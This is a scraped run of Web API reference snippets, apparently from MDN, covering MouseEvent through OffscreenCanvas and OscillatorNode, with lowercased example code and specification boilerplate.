html <p>click anywhere to test the <code>shiftkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.shiftkey' in that specification.
MouseEvent.x - Web APIs
WebAPIMouseEventx
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.x' in that specification.
MouseEvent.y - Web APIs
WebAPIMouseEventy
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.y' in that specification.
MouseScrollEvent - Web APIs
methods initmousescrollevent() see nsidommousescrollevent::initmousescrollevent().
MutationObserver.disconnect() - Web APIs
*/ observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver.disconnect()' in that specification.
MutationObserver.observe() - Web APIs
`, // passing it a callback function const observer = new mutationobserver(function() { console.log('callback that runs when observer is triggered'); }); // call `observe()` on that mutationobserver instance, // passing it the element to observe, and the options object observer.observe(elementtoobserve, {subtree: true, childlist: true}); specifications specification status comment domthe definition of 'mutationobserver.observe()' in that specification.
MutationObserver - Web APIs
+ mutation.attributename + ' attribute was modified.'); } } }; // create an observer instance linked to the callback function const observer = new mutationobserver(callback); // start observing the target node for configured mutations observer.observe(targetnode, config); // later, you can stop observing observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver' in that specification.
MutationObserverInit.attributeFilter - Web APIs
specifications specification status comment domthe definition of 'mutationobserverinit: attributefilter' in that specification.
MutationObserverInit.attributeOldValue - Web APIs
specifications specification status comment domthe definition of 'mutationobserverinit.attributeoldvalue' in that specification.
MutationObserverInit.attributes - Web APIs
specifications specification status comment domthe definition of 'mutationobserverinit.attributes' in that specification.
MutationObserverInit.childList - Web APIs
example specifications specification status comment domthe definition of 'mutationobserverinit.childlist' in that specification.
MutationObserverInit.subtree - Web APIs
to monitor the entire subtree for attribute changes, simply set subtree to true: var options = { attributes: true, subtree: true }; example specifications specification status comment domthe definition of 'mutationobserverinit.subtree' in that specification.
MutationObserverInit - Web APIs
specifications specification status comment domthe definition of 'mutationobserverinit' in that specification.
MutationRecord - Web APIs
note that for this to work as expected, attributeoldvalue or characterdataoldvalue must be set to true in the corresponding mutationobserverinit parameter of the mutationobserver observe method specifications specification status comment domthe definition of 'mutationrecord' in that specification.
NDEFMessage.records - Web APIs
specifications specification status comment web nfc, dnefmessage.records draft initial definition.
NDEFMessage - Web APIs
specifications specification status comment web nfc, ndefmessage draft initial definition.
NDEFReader() - Web APIs
specifications specification status comment web nfc, ndefreader draft initial definition.
NDEFReader.onerror - Web APIs
specifications specification status comment web nfc, ndefreader.onerror draft initial definition.
NDEFReader.onreading - Web APIs
specifications specification status comment web nfc, ndefreader.onreadig draft initial definition.
NDEFReader - Web APIs
specifications specification status comment web nfc, ndefreader draft initial definition.
NDEFReadingEvent - Web APIs
specifications specification status comment web nfc, ndefreadingevent draft initial definition.
NDEFRecord() - Web APIs
specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFRecord.data - Web APIs
WebAPINDEFRecorddata
specifications specification status comment web nfc, ndefrecord.data draft initial definition.
NDEFRecord.encoding - Web APIs
specifications specification status comment web nfc, ndefrecord.encoding draft initial definition.
NDEFRecord.id - Web APIs
WebAPINDEFRecordid
specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFRecord.lang - Web APIs
WebAPINDEFRecordlang
specifications specification status comment web nfc, ndefrecord.lang draft initial definition.
NDEFRecord.mediaType - Web APIs
specifications specification status comment web nfc, ndefrecord.mediatype draft initial definition.
NDEFRecord.recordType - Web APIs
specifications specification status comment web nfc, ndefrecord.recordtype draft initial definition.
NDEFRecord.toRecords() - Web APIs
specifications specification status comment web nfc, ndefrecord.torecords() draft initial definition.
NDEFRecord - Web APIs
specifications specification status comment web nfc, ndefrecord draft initial definition.
NDEFWriter() - Web APIs
specifications specification status comment web nfc, ndefwriter draft initial definition.
NDEFWriter.write() - Web APIs
WebAPINDEFWriterwrite
specifications specification status comment web nfc, write() draft initial definition.
NDEFWriter - Web APIs
specifications specification status comment web nfc, ndefreader draft initial definition.
NameList - Web APIs
WebAPINameList
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'namelist' in that specification.
NamedNodeMap - Web APIs
specifications specification status comment domthe definition of 'namednodemap' in that specification.
NavigationPreloadManager - Web APIs
return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification.
Navigation Timing API - Web APIs
specifications specification status comment navigation timing level 2 working draft adds performancenavigationtiming navigation timing recommendation initial definition.
Navigator.buildID - Web APIs
WebAPINavigatorbuildID
the build id is in the form yyyymmddhhmmss.
Navigator.canShare() - Web APIs
} specifications specification status comment web share api - level 2the definition of 'canshare' in that specification.
Navigator.clipboard - Web APIs
specifications specification status comment clipboard api and eventsthe definition of 'navigator.clipboard' in that specification.
Navigator.connection - Web APIs
specifications specification status comment network information apithe definition of 'navigator.connection' in that specification.
Navigator.cookieEnabled - Web APIs
} specifications specification status comment html living standardthe definition of 'navigator.cookieenabled' in that specification.
Navigator.credentials - Web APIs
}; specifications specification status comment credential management level 1 working draft initial definition.
Navigator.deviceMemory - Web APIs
example const memory = navigator.devicememory console.log (`this device has at least ${memory}gib of ram.`) specifications specification status comment device memory 1the definition of 'devicememory' in that specification.
Navigator.doNotTrack - Web APIs
example console.log(navigator.donottrack); // prints "1" if dnt is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified" specifications specification status comment tracking preference expression (dnt)the definition of 'navigator.donottrack' in that specification.
Navigator.getGamepads() - Web APIs
%d buttons, %d axes.", gp.index, gp.id, gp.buttons.length, gp.axes.length ); }); specifications specification status comment gamepadthe definition of 'the gamepad api specification' in that specification.
Navigator.keyboard - Web APIs
specifications specification status comment keyboard mapthe definition of 'keyboard' in that specification.
Navigator.locks - Web APIs
WebAPINavigatorlocks
specifications specification status comment web locks apithe definition of 'locks' in that specification.
Navigator.mediaCapabilities - Web APIs
'' : 'not ') + 'power efficient.') }); specifications specification status comment media capabilities draft initial definition ...
Navigator.mediaSession - Web APIs
if ("mediasession" in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); } specifications specification status comment media session standardthe definition of 'navigator.mediasession' in that specification.
Navigator.oscpu - Web APIs
WebAPINavigatoroscpu
specifications specification status comment html living standardthe definition of 'navigatorid: oscpu' in that specification.
Navigator.permissions - Web APIs
}); specification specification status comment permissions working draft initial definition.
Navigator.productSub - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid: productsub' in that specification.
Web-based protocol handlers - Web APIs
background it's fairly common to find web pages link to resources using non-http protocols.
Navigator.vendor - Web APIs
WebAPINavigatorvendor
specifications specification status comment html living standardthe definition of 'navigatorid: vendor' in that specification.
Navigator.vendorSub - Web APIs
syntax vensub = window.navigator.vendorsub value the empty string specifications specification status comment html living standardthe definition of 'navigatorid: vendorsub' in that specification.
Navigator.vibrate() - Web APIs
WebAPINavigatorvibrate
specifications specification status comment vibration api recommendation linked to spec is the latest editor's draft; w3c version is a rec.
Navigator.xr - Web APIs
WebAPINavigatorxr
*/ } else { /* webxr isn't available */ } specifications specification status comment webxr device apithe definition of 'navigator.xr' in that specification.
navigator.hardwareConcurrency - Web APIs
let workerlist = []; for (let i = 0; i < window.navigator.hardwareconcurrency; i++) { let newworker = { worker: new worker('cpuworker.js'), inuse: false }; workerlist.push(newworker); } specification specification status comment html living standardthe definition of 'navigator.hardwareconcurrency' in that specification.
NavigatorConcurrentHardware - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorconcurrenthardware' in that specification.
NavigatorID.appCodeName - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.appcodename' in that specification.
NavigatorID.appName - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.appname' in that specification.
NavigatorID.appVersion - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.appversion' in that specification.
NavigatorID.platform - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.platform' in that specification.
NavigatorID.product - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorid.product' in that specification.
NavigatorID.taintEnabled() - Web APIs
syntax result = window.navigator.taintenabled() specifications specification status comment html living standardthe definition of 'navigatorid.taintenabled' in that specification.
NavigatorLanguage.language - Web APIs
example if (/^en\b/.test(navigator.language)) { dolangselect(window.navigator.language); } specifications specification status comment html living standardthe definition of 'navigatorlanguage: language' in that specification.
NavigatorLanguage.languages - Web APIs
syntax preferredlanguages = globalobj.navigator.languages examples navigator.language //"en-us" navigator.languages //["en-us", "zh-cn", "ja-jp"] specifications specification status comment html living standardthe definition of 'navigatorlanguage: languages' in that specification.
Online and offline events - Web APIs
this property existed in older versions of firefox and internet explorer (the specification based itself off of these prior implementations), so you can begin using it immediately.
Navigator.onLine - Web APIs
to see changes in the network state, use addeventlistener to listen for the events on window.online and window.offline, as in the following example: window.addeventlistener('offline', function(e) { console.log('offline'); }); window.addeventlistener('online', function(e) { console.log('online'); }); specifications specification status comment html living standardthe definition of 'navigator.online' in that specification.
NavigatorPlugins.javaEnabled() - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorplugins.javaenabled' in that specification.
NavigatorPlugins.mimeTypes - Web APIs
example function isjavapresent() { return 'application/x-java-applet' in navigator.mimetypes; } function getjavaplugindescription() { var mimetype = navigator.mimetypes['application/x-java-applet']; if (mimetype === undefined) { // no java plugin present return undefined; } return mimetype.enabledplugin.description; } specifications specification status comment html living standardthe definition of 'navigatorplugins.mimetypes' in that specification.
NavigatorPlugins.plugins - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorplugins.plugins' in that specification.
NavigatorPlugins - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorplugins' in that specification.
NavigatorStorage.storage - Web APIs
specifications specification status comment storagethe definition of 'navigator.storage' in that specification.
NetworkInformation.downlink - Web APIs
specifications specification status comment network information apithe definition of 'downlink' in that specification.
NetworkInformation.downlinkMax - Web APIs
gator.connection.effectivetype; if ('downlinkmax' in navigator.connection) { downlinkmax = navigator.connection.downlinkmax; } } console.log('current connection type: ' + connectiontype + ' (downlink max: ' + downlinkmax + ')'); } logconnectiontype(); navigator.connection.addeventlistener('change', logconnectiontype); specifications specification status comment network information apithe definition of 'downlinkmax' in that specification.
NetworkInformation.effectiveType - Web APIs
specifications specification status comment network information apithe definition of 'effectivetype' in that specification.
NetworkInformation.onchange - Web APIs
} // register for event changes: navigator.connection.onchange = changehandler; // another way: navigator.connection.addeventlistener('change', changehandler); specifications specification status comment network information apithe definition of 'onchange' in that specification.
NetworkInformation.rtt - Web APIs
specifications specification status comment network information apithe definition of 'rtt' in that specification.
Node.baseURI - Web APIs
WebAPINodebaseURI
specifications specification status comment domthe definition of 'node: baseuri' in that specification.
Node.cloneNode() - Web APIs
WebAPINodecloneNode
specifications specification status comment domthe definition of 'node.clonenode()' in that specification.
Node.compareDocumentPosition() - Web APIs
specifications specification status comment domthe definition of 'node.comparedocumentposition()' in that specification.
Node.contains() - Web APIs
WebAPINodecontains
false : document.body.contains(node); } specifications specification status comment domthe definition of 'node.contains()' in that specification.
Node.getRootNode() - Web APIs
WebAPINodegetRootNode
var shadowchild = shadowroot.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #document </script> specifications specification status comment domthe definition of 'getrootnode()' in that specification.
Node.getUserData() - Web APIs
WebAPINodegetUserData
example var d = document.setuserdata('key', 15, null); console.log(document.getuserdata('key')); // 15 specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.getuserdata()' in that specification.
Node.hasChildNodes() - Web APIs
prototype.haschildnodes = prototype.haschildnodes || function() { return !!this.firstchild; } })(node.prototype); there are various ways to determine whether the node has a child node: node.haschildnodes() node.firstchild != null (or just node.firstchild) node.childnodes && node.childnodes.length (or node.childnodes.length > 0) specifications specification status comment domthe definition of 'node: haschildnodes' in that specification.
Node.isConnected - Web APIs
WebAPINodeisConnected
*/ if (!('isconnected' in node.prototype)) { object.defineproperty(node.prototype, 'isconnected', { get() { return ( !this.ownerdocument || !( this.ownerdocument.comparedocumentposition(this) & this.document_position_disconnected ) ); }, }); } specifications specification status comment domthe definition of 'isconnected' in that specification.
Node.isDefaultNamespace() - Web APIs
example var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var el = document.getelementsbytagnamens(xulns, 'textbox')[0]; alert(el.isdefaultnamespace(xulns)); // true specifications specification status comment domthe definition of 'node: isdefaultnamespace' in that specification.
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
put"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 equals div 0: " + divlist[0].isequalnode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 equals div 1: " + divlist[0].isequalnode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 equals div 2: " + divlist[0].isequalnode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node.isequalnode' in that specification.
Node.isSameNode() - Web APIs
WebAPINodeisSameNode
ut"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 same as div 0: " + divlist[0].issamenode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 same as div 1: " + divlist[0].issamenode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 same as div 2: " + divlist[0].issamenode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node: issamenode' in that specification.
Node.isSupported() - Web APIs
WebAPINodeisSupported
var main = document.getelementbyid('doc'); var output = main.issupported('html', '2.0'); </script> specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.issupported()' in that specification.
Node.lookupNamespaceURI() - Web APIs
specifications specification status comment domthe definition of 'node: lookupnamespaceuri' in that specification.
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.namespaceuri' in that specification.
Node.normalize() - Web APIs
WebAPINodenormalize
art 1 ") ); wrapper.appendchild( document.createtextnode("part 2 ") ); // at this point, wrapper.childnodes.length === 2 // wrapper.childnodes[0].textcontent === "part 1 " // wrapper.childnodes[1].textcontent === "part 2 " wrapper.normalize(); // now, wrapper.childnodes.length === 1 // wrapper.childnodes[0].textcontent === "part 1 part 2 " specifications specification status comment domthe definition of 'node: normalize' in that specification.
Node.ownerDocument - Web APIs
example // given a node "p", get the top-level html // child of the document object var d = p.ownerdocument; var html = d.documentelement; specifications specification status comment domthe definition of 'node: ownerdocument' in that specification.
Node.parentElement - Web APIs
example if (node.parentelement) { node.parentelement.style.color = "red"; } specifications specification status comment domthe definition of 'parentelement' in that specification.
Node.parentNode - Web APIs
WebAPINodeparentNode
specifications specification status comment domthe definition of 'node: parentnode' in that specification.
Node.prefix - Web APIs
WebAPINodeprefix
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.prefix' in that specification.
Node.replaceChild() - Web APIs
WebAPINodereplaceChild
child(sp1_content); // build a reference to the existing node to be replaced var sp2 = document.getelementbyid("childspan"); var parentdiv = sp2.parentnode; // replace existing node sp2 with the new span element sp1 parentdiv.replacechild(sp1, sp2); // result: // <div> // <span id="newspan">new replacement span element.</span> // </div> specifications specification status comment domthe definition of 'node: replacechild' in that specification.
Node.setUserData() - Web APIs
WebAPINodesetUserData
dle:function (o, k, d, s, ds) {console.log(o+'::'+k+'::'+d+'::'+s+'::'+ds)}}); // 2::key::15::[object element]::[object element] console.log(d.documentelement.getuserdata('key')); // 15 var e = document.importnode(d.documentelement, true); // causes handler to be called console.log(e.getuserdata('key')); // null since user data is not copied specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.setuserdata()' in that specification.
NodeFilter.acceptNode() - Web APIs
/^\s*$/.test(node.data) ) { return nodefilter.filter_accept; } } }, false ); // show the content of every non-empty text node that is a child of root var node; while ((node = iterator.nextnode())) { alert(node.data); } specifications specification status comment domthe definition of 'nodefilter.acceptnode()' in that specification.
NodeFilter - Web APIs
/^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the content of every non-empty text node that is a child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification status comment domthe definition of 'nodefilter' in that specification.
NodeIterator.detach() - Web APIs
syntax nodeiterator.detach(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodeiterator.detach(); // detaches the iterator nodeiterator.nextnode(); // throws an invalid_state_err exception specifications specification status comment domthe definition of 'nodeiterator.detach' in that specification.
NodeIterator.expandEntityReferences - Web APIs
syntax expand = nodeiterator.expandentityreferences; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); expand = nodeiterator.expandentityreferences; specifications specification status comment document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.expandentityreferences' in that specification.
NodeIterator.filter - Web APIs
syntax nodefilter = nodeiterator.filter; example const nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodefilter = nodeiterator.filter; specifications specification status comment domthe definition of 'nodeiterator.filter' in that specification.
NodeIterator.nextNode() - Web APIs
syntax node = nodeiterator.nextnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node specifications specification status comment domthe definition of 'nodeiterator.nextnode' in that specification.
NodeIterator.pointerBeforeReferenceNode - Web APIs
syntax flag = nodeiterator.pointerbeforereferencenode; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); flag = nodeiterator.pointerbeforereferencenode; specifications specification status comment domthe definition of 'nodeiterator.pointerbeforereferencenode' in that specification.
NodeIterator.previousNode() - Web APIs
document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node previousnode = nodeiterator.previousnode(); // same result, since we backtracked to the previous node specifications specification status comment domthe definition of 'nodeiterator.previousnode' in that specification.
NodeIterator.referenceNode - Web APIs
syntax node = nodeiterator.referencenode; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); node = nodeiterator.referencenode; specifications specification status comment domthe definition of 'nodeiterator.referencenode' in that specification.
NodeIterator.root - Web APIs
WebAPINodeIteratorroot
syntax root = nodeiterator.root; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); root = nodeiterator.root; // document.body in this case specifications specification status comment domthe definition of 'nodeiterator.root' in that specification.
NodeList.item() - Web APIs
WebAPINodeListitem
alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item from a nodelist by index: nodeitem = nodelist[index] example var tables = document.getelementsbytagname("table"); var firsttable = tables.item(1); // or simply tables[1] - returns the second table in the dom specifications specification status comment domthe definition of 'nodelist: item' in that specification.
NodeList - Web APIs
WebAPINodeList
there is also an internet explorer-compatible way to use array.prototype.foreach for iteration: const list = document.queryselectorall('input[type=checkbox]'); array.prototype.foreach.call(list, function (checkbox) { checkbox.checked = true; }); specifications specification status comment domthe definition of 'nodelist' in that specification.
Notation - Web APIs
WebAPINotation
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'notation' in that specification.
Notification.Notification() - Web APIs
function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); } specifications specification status comment notifications apithe definition of 'notification() constructor' in that specification.
Notification.badge - Web APIs
specifications specification status comment notifications apithe definition of 'badge' in that specification.
Notification.body - Web APIs
WebAPINotificationbody
examples function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle, options); console.log(n.body); } specifications specification status comment notifications apithe definition of 'body' in that specification.
Notification.close() - Web APIs
n.close(); } }); } specifications specification status comment notifications api living standard living standard ...
Notification.data - Web APIs
WebAPINotificationdata
var options = { body: 'do you like my body?', data: 'i like peas.' } var n = new notification('test notification',options); console.log(n.data) // should return 'i like peas.' specifications specification status comment notifications apithe definition of 'data' in that specification.
Notification.dir - Web APIs
WebAPINotificationdir
var options = { body: 'do you like my body?', dir: 'rtl' } var n = new notification('test notification',options); console.log(n.dir) // should return 'rtl' specifications specification status comment notifications apithe definition of 'dir' in that specification.
Notification.icon - Web APIs
WebAPINotificationicon
var notification = new notification('to do list', { body: text, icon: img }); specifications specification status comment notifications apithe definition of 'icon' in that specification.
Notification.image - Web APIs
specifications specification status comment notifications apithe definition of 'image' in that specification.
Notification.lang - Web APIs
WebAPINotificationlang
var options = { body: 'do you like my body?', lang: 'en-us' } var n = new notification('test notification',options); console.log(n.lang) // should return 'en-us' specifications specification status comment notifications apithe definition of 'lang' in that specification.
Notification.maxActions - Web APIs
const maxactions = notification.maxactions; console.log('this device can display at most ' + maxactions + ' actions on each notification.'); specifications specification status comment notifications api living standard living standard ...
Notification.onclick - Web APIs
following example, we use an onclick handler to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.preventdefault(); // prevent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that specification.
Notification.onerror - Web APIs
}; specifications specification status comment notifications apithe definition of 'onerror' in that specification.
Notification.permission - Web APIs
} specifications specification status comment notifications apithe definition of 'permission' in that specification.
Notification.renotify - Web APIs
var options = { body: 'do you like my body?', renotify: true } var n = new notification('test notification',options); console.log(n.renotify) // should log true specifications specification status comment notifications apithe definition of 'renotify' in that specification.
Notification.requireInteraction - Web APIs
specifications specification status comment notifications apithe definition of 'requireinteraction' in that specification.
Notification.silent - Web APIs
var options = { body: 'do you like my body?', silent: true } var n = new notification('test notification', options); console.log(n.silent) // should log true specifications specification status comment notifications apithe definition of 'silent' in that specification.
Notification.timestamp - Web APIs
var dts = math.floor(date.now()); var options = { body: 'do you like my body?', timestamp: dts } var n = new notification('test notification',options); console.log(n.timestamp) // should log original timestamp specifications specification status comment notifications apithe definition of 'timestamp' in that specification.
Notification.title - Web APIs
examples function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle,options); console.log(n.title) } specifications specification status comment notifications apithe definition of 'title' in that specification.
Notification.vibrate - Web APIs
var options = { body: 'do you like my body?', vibrate: [200, 100, 200] } var n = new notification('test notification',options); console.log(n.vibrate) // should log [200,100,200] specifications specification status comment notifications apithe definition of 'vibrate' in that specification.
NotificationEvent.NotificationEvent() - Web APIs
example var n = new notification('hello'); var init = { notification: n }; var mynotificationevent = new notificationevent(type, init); specifications specification status comment notifications apithe definition of 'notificationevent() constructor' in that specification.
NotificationEvent.action - Web APIs
example self.registration.shownotification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status comment notifications apithe definition of 'action' in that specification.
NotificationEvent.notification - Web APIs
it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notification' in that specification.
NotificationEvent - Web APIs
it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notificationevent' in that specification.
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
examples ext.framebuffertexturemultiviewovr(gl.draw_framebuffer, gl.color_attachment0, colortex, 0, 0, 2); specifications specification status ovr_multiview2 community approved ...
OVR_multiview2 - Web APIs
shader code #version 300 es #extension gl_ovr_multiview2 : require precision mediump float; layout (num_views = 2) in; in vec4 inpos; uniform mat4 u_viewmatrices[2]; void main() { gl_position = u_viewmatrices[gl_viewid_ovr] * inpos; } specifications specification status ovr_multiview2 community approved ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent()' in that specification.
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
specifications specification status comment web audio apithe definition of 'renderedbuffer' in that specification.
OfflineAudioCompletionEvent - Web APIs
specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
OfflineAudioContext: complete event - Web APIs
disabled = false; }) you can also set up the event handler using the offlineaudiocontext.oncomplete property: let offlineaudioctx = new offlineaudiocontext(); offlineaudioctx.oncomplete = function() { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent' in that specification.
OfflineAudioContext.length - Web APIs
specifications specification status comment web audio apithe definition of 'length' in that specification.
OfflineAudioContext.oncomplete - Web APIs
offlineaudioctx.oncomplete = function() { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'oncomplete' in that specification.
OfflineAudioContext.startRendering() - Web APIs
ck = function() { song.start(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'startrendering()' in that specification.
OfflineAudioContext.suspend() - Web APIs
invalidstateerror if the quantized frame number is one of the following: a negative number is less than or equal to the current time is greater than or equal to the total render duration is scheduled by another suspend for the same time specifications specification status comment web audio apithe definition of 'suspend()' in that specification.
OfflineAudioContext - Web APIs
ck = function() { song.start(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrendering is called a second time on an offlineaudiocontext }); }); } request.send(); } // run getdata to start the process off getdata(); specifications specification status comment web audio apithe definition of 'offlineaudiocontext' in that specification.
OffscreenCanvas() - Web APIs
let offscreen = new offscreencanvas(256, 256); let gl = offscreen.getcontext('webgl'); specifications specification status comment html living standardthe definition of 'offscreencanvas()' in that specification.
OffscreenCanvas.convertToBlob() - Web APIs
offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications specification status comment html living standardthe definition of 'offscreencanvas: converttoblob' in that specification.
OffscreenCanvas.getContext() - Web APIs
examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); gl; // webglrenderingcontext gl.canvas; // offscreencanvas specifications specification status comment html living standardthe definition of 'offscreencanvas.getcontext()' in that specification.
OffscreenCanvas.height - Web APIs
syntax var pxl = offscreen.height; offscreen.height = pxl; examples creating a new offscreen canvas and returning or setting the height of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.height; // 256 offscreen.height = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.height' in that specification.
OffscreenCanvas.transferToImageBitmap() - Web APIs
offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } specifications specification status comment html living standardthe definition of 'offscreencanvas.transfertoimagebitmap()' in that specification.
OffscreenCanvas.width - Web APIs
syntax var pxl = offscreen.width; offscreen.width = pxl; examples creating a new offscreen canvas and returning or setting the width of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.width; // 256 offscreen.width = 512; specifications specification status comment html living standardthe definition of 'offscreencanvas.width' in that specification.
OscillatorNode.OscillatorNode() - Web APIs
specifications specification status comment web audio apithe definition of 'oscillatornode()' in that specification.
OscillatorNode.detune - Web APIs
x = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.detune.setvalueattime(100, audioctx.currenttime); // value in cents oscillator.start(); specifications specification status comment web audio apithe definition of 'detune' in that specification.
OscillatorNode.frequency - Web APIs
// create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of 'frequency' in that specification.
OscillatorNode.onended - Web APIs
specifications specification status comment web audio apithe definition of 'onended' in that specification.
OscillatorNode.setPeriodicWave() - Web APIs
specifications specification status comment web audio apithe definition of 'setperiodicwave' in that specification.
OscillatorNode - Web APIs
ate web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition of 'oscillatornode' in that specification.
PageTransitionEvent.persisted - Web APIs
specifications specification status comment html living standardthe definition of 'pagetransitionevent: persisted' in that specification.
PageTransitionEvent - Web APIs
example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification.
Page Visibility API - Web APIs
